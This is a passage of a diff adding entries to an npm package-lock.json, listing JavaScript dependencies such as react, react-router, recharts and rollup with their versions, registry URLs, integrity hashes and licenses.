"dependencies": { + "punycode": "^2.3.1" + }, + "funding": { + "url": "https://github.com/sponsors/lupomontero" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "dev": true + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-floater": { + "version": "0.7.9", + "resolved": "https://registry.npmjs.org/react-floater/-/react-floater-0.7.9.tgz", + "integrity": "sha512-NXqyp9o8FAXOATOEo0ZpyaQ2KPb4cmPMXGWkx377QtJkIXHlHRAGer7ai0r0C1kG5gf+KJ6Gy+gdNIiosvSicg==", + "license": "MIT", + "dependencies": { + "deepmerge": "^4.3.1", + "is-lite": "^0.8.2", + "popper.js": "^1.16.0", + "prop-types": "^15.8.1", + "tree-changes": "^0.9.1" + }, + "peerDependencies": { + "react": "15 - 18", + "react-dom": "15 - 18" + } + }, + "node_modules/react-floater/node_modules/@gilbarbara/deep-equal": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/@gilbarbara/deep-equal/-/deep-equal-0.1.2.tgz", + "integrity": "sha512-jk+qzItoEb0D0xSSmrKDDzf9sheQj/BAPxlgNxgmOaA3mxpUa6ndJLYGZKsJnIVEQSD8zcTbyILz7I0HcnBCRA==", + "license": "MIT" + }, + "node_modules/react-floater/node_modules/is-lite": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/is-lite/-/is-lite-0.8.2.tgz", + "integrity": "sha512-JZfH47qTsslwaAsqbMI3Q6HNNjUuq6Cmzzww50TdP5Esb6e1y2sK2UAaZZuzfAzpoI2AkxoPQapZdlDuP6Vlsw==", + "license": "MIT" + }, + "node_modules/react-floater/node_modules/tree-changes": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/tree-changes/-/tree-changes-0.9.3.tgz", + "integrity": "sha512-vvvS+O6kEeGRzMglTKbc19ltLWNtmNt1cpBoSYLj/iEcPVvpJasemKOlxBrmZaCtDJoF+4bwv3m01UKYi8mukQ==", + "license": "MIT", + "dependencies": { + "@gilbarbara/deep-equal": "^0.1.1", + "is-lite": "^0.8.2" + } + }, + "node_modules/react-hook-form": { + "version": "7.71.1", + "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.71.1.tgz", + "integrity": "sha512-9SUJKCGKo8HUSsCO+y0CtqkqI5nNuaDqTxyqPsZPqIwudpj4rCrAz/jZV+jn57bx5gtZKOh3neQu94DXMc+w5w==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/react-hook-form" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17 || ^18 || ^19" + } + }, + "node_modules/react-innertext": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/react-innertext/-/react-innertext-1.1.5.tgz", + "integrity": "sha512-PWAqdqhxhHIv80dT9znP2KvS+hfkbRovFp4zFYHFFlOoQLRiawIic81gKb3U1wEyJZgMwgs3JoLtwryASRWP3Q==", + "license": "MIT", + "peerDependencies": { + "@types/react": ">=0.0.0 <=99", + "react": ">=0.0.0 <=99" + } + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "license": "MIT", + "peer": true + }, + "node_modules/react-joyride": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/react-joyride/-/react-joyride-2.9.3.tgz", + "integrity": "sha512-1+Mg34XK5zaqJ63eeBhqdbk7dlGCFp36FXwsEvgpjqrtyywX2C6h9vr3jgxP0bGHCw8Ilsp/nRDzNVq6HJ3rNw==", + "license": "MIT", + "dependencies": { + "@gilbarbara/deep-equal": "^0.3.1", + "deep-diff": "^1.0.2", + "deepmerge": "^4.3.1", + "is-lite": "^1.2.1", + "react-floater": "^0.7.9", + "react-innertext": "^1.1.5", + "react-is": "^16.13.1", + "scroll": "^3.0.1", + "scrollparent": "^2.1.0", + "tree-changes": "^0.11.2", + "type-fest": "^4.27.0" + }, + "peerDependencies": { + "react": "15 - 18", + "react-dom": "15 - 18" + } + }, + "node_modules/react-joyride/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react-joyride/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-redux": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", + "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", + "license": "MIT", + "dependencies": { + "@types/use-sync-external-store": "^0.0.6", + "use-sync-external-store": "^1.4.0" + }, + "peerDependencies": { + "@types/react": "^18.2.25 || ^19", + "react": "^18.0 || ^19", + "redux": "^5.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "redux": { + "optional": true + } + } + }, + "node_modules/react-refresh": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", + "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-remove-scroll": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.2.tgz", + "integrity": "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==", + "license": "MIT", + "dependencies": { + "react-remove-scroll-bar": "^2.3.7", + "react-style-singleton": "^2.2.3", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.3", + "use-sidecar": "^1.1.3" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-remove-scroll-bar": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz", + "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==", + "license": "MIT", + "dependencies": { + "react-style-singleton": "^2.2.2", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-router": { + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.4.tgz", + "integrity": "sha512-SVUsDe+DybHM/WmYKIVYhZh1o5Dcuf16yM6WjG02Q9XVFMZIJyHYhwrr6bFBXZkVP6z69kNkMyBCujt8FaFLJA==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.3" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8" + } + }, + "node_modules/react-router-dom": { + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.4.tgz", + "integrity": "sha512-q4HvNl+mmDdkS0g+MqiBZNteQJCuimWoOyHMy4T/RQLAn9Z29+E91QXRaxOujeMl2HTzRSS0KFPd7lxX3PjV0Q==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.3", + "react-router": "6.30.4" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8", + "react-dom": ">=16.8" + } + }, + "node_modules/react-style-singleton": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz", + "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==", + "license": "MIT", + "dependencies": { + "get-nonce": "^1.0.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/reactflow": { + "version": "11.11.4", + "resolved": "https://registry.npmjs.org/reactflow/-/reactflow-11.11.4.tgz", + "integrity": "sha512-70FOtJkUWH3BAOsN+LU9lCrKoKbtOPnz2uq0CV2PLdNSwxTXOhCbsZr50GmZ+Rtw3jx8Uv7/vBFtCGixLfd4Og==", + "license": "MIT", + "dependencies": { + "@reactflow/background": "11.3.14", + "@reactflow/controls": "11.2.14", + "@reactflow/core": "11.11.4", + "@reactflow/minimap": "11.7.14", + "@reactflow/node-resizer": "2.2.14", + "@reactflow/node-toolbar": "1.3.14" + }, + "peerDependencies": { + "react": ">=17", + "react-dom": ">=17" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recharts": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.8.0.tgz", + "integrity": "sha512-Z/m38DX3L73ExO4Tpc9/iZWHmHnlzWG4njQbxsF5aSjwqmHNDDIm0rdEBArkwsBvR8U6EirlEHiQNYWCVh9sGQ==", + "license": "MIT", + "workspaces": [ + "www" + ], + "dependencies": { + "@reduxjs/toolkit": "^1.9.0 || 2.x.x", + "clsx": "^2.1.1", + "decimal.js-light": "^2.5.1", + "es-toolkit": "^1.39.3", + "eventemitter3": "^5.0.1", + "immer": "^10.1.1", + "react-redux": "8.x.x || 9.x.x", + "reselect": "5.1.1", + "tiny-invariant": "^1.3.3", + "use-sync-external-store": "^1.2.2", + "victory-vendor": "^37.0.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/redux": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", + "license": "MIT" + }, + "node_modules/redux-thunk": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", + "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", + "license": "MIT", + "peerDependencies": { + "redux": "^5.0.0" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/reselect": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", + "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/rettime": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/rettime/-/rettime-0.10.1.tgz", + "integrity": "sha512-uyDrIlUEH37cinabq0AX4QbgV4HbFZ/gqoiunWQ1UqBtRvTTytwhNYjE++pO/MjPTZL5KQCf2bEoJ/BJNVQ5Kw==", + "dev": true, + "license": "MIT" + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rolldown": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.3.tgz", + "integrity": "sha512-1F1eEtUBtFvcGm1HQ9TiUIUHPQG7mSAODrhIzjxoUEFuo8OcbrGLiVLkevNgj84TE4lnHvnumwFjhJO5Eu135g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@oxc-project/types": "=0.137.0", + "@rolldown/pluginutils": "^1.0.0" + }, + "bin": { + "rolldown": "bin/cli.mjs" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "optionalDependencies": { + "@rolldown/binding-android-arm64": "1.1.3", + "@rolldown/binding-darwin-arm64": "1.1.3", + "@rolldown/binding-darwin-x64": "1.1.3", + "@rolldown/binding-freebsd-x64": "1.1.3", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.3", + "@rolldown/binding-linux-arm64-gnu": "1.1.3", + "@rolldown/binding-linux-arm64-musl": "1.1.3", + "@rolldown/binding-linux-ppc64-gnu": "1.1.3", + "@rolldown/binding-linux-s390x-gnu": "1.1.3", + "@rolldown/binding-linux-x64-gnu": "1.1.3", + "@rolldown/binding-linux-x64-musl": "1.1.3", + "@rolldown/binding-openharmony-arm64": "1.1.3", + "@rolldown/binding-wasm32-wasi": "1.1.3", + "@rolldown/binding-win32-arm64-msvc": "1.1.3", + "@rolldown/binding-win32-x64-msvc": "1.1.3" + } + }, + "node_modules/rolldown/node_modules/@rolldown/pluginutils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", + "dev": true, + "license": "MIT" + }, + "node_modules/rollup": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", + "fsevents": "~2.3.2" + } + }, + "node_modules/rrweb-cssom": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", + "integrity": "sha512-TrEMa7JGdVm0UThDJSx7ddw5nVm3UJS9o9CCIZ72B1vSyEZoziDqBYP3XIoi/12lKrJR8rE3jeFHMok2F/Mnsg==", + "dev": true + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/scroll": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/scroll/-/scroll-3.0.1.tgz", + "integrity": "sha512-pz7y517OVls1maEzlirKO5nPYle9AXsFzTMNJrRGmT951mzpIBy7sNHOg5o/0MQd/NqliCiWnAi0kZneMPFLcg==", + "license": "MIT" + }, + "node_modules/scrollparent": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/scrollparent/-/scrollparent-2.1.0.tgz", + "integrity": "sha512-bnnvJL28/Rtz/kz2+4wpBjHzWoEzXhVg/TE8BeVGJHUqE8THNIRnDxDWMktwM+qahvlRdvlLdsQfYe+cuqfZeA==", + "license": "ISC" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/state-local": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", + "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", + "license": "MIT" + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", + "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/strict-event-emitter": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/strict-event-emitter/-/strict-event-emitter-0.5.1.tgz", + "integrity": "sha512-vMgjE/GGEPEFnhFub6pa4FmJBRBVOLpIII2hvCZ8Kzb7K0hlHo7mQv6xYrBvCL2LtAIBwFUK8wvuJgTVSQ5MFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": 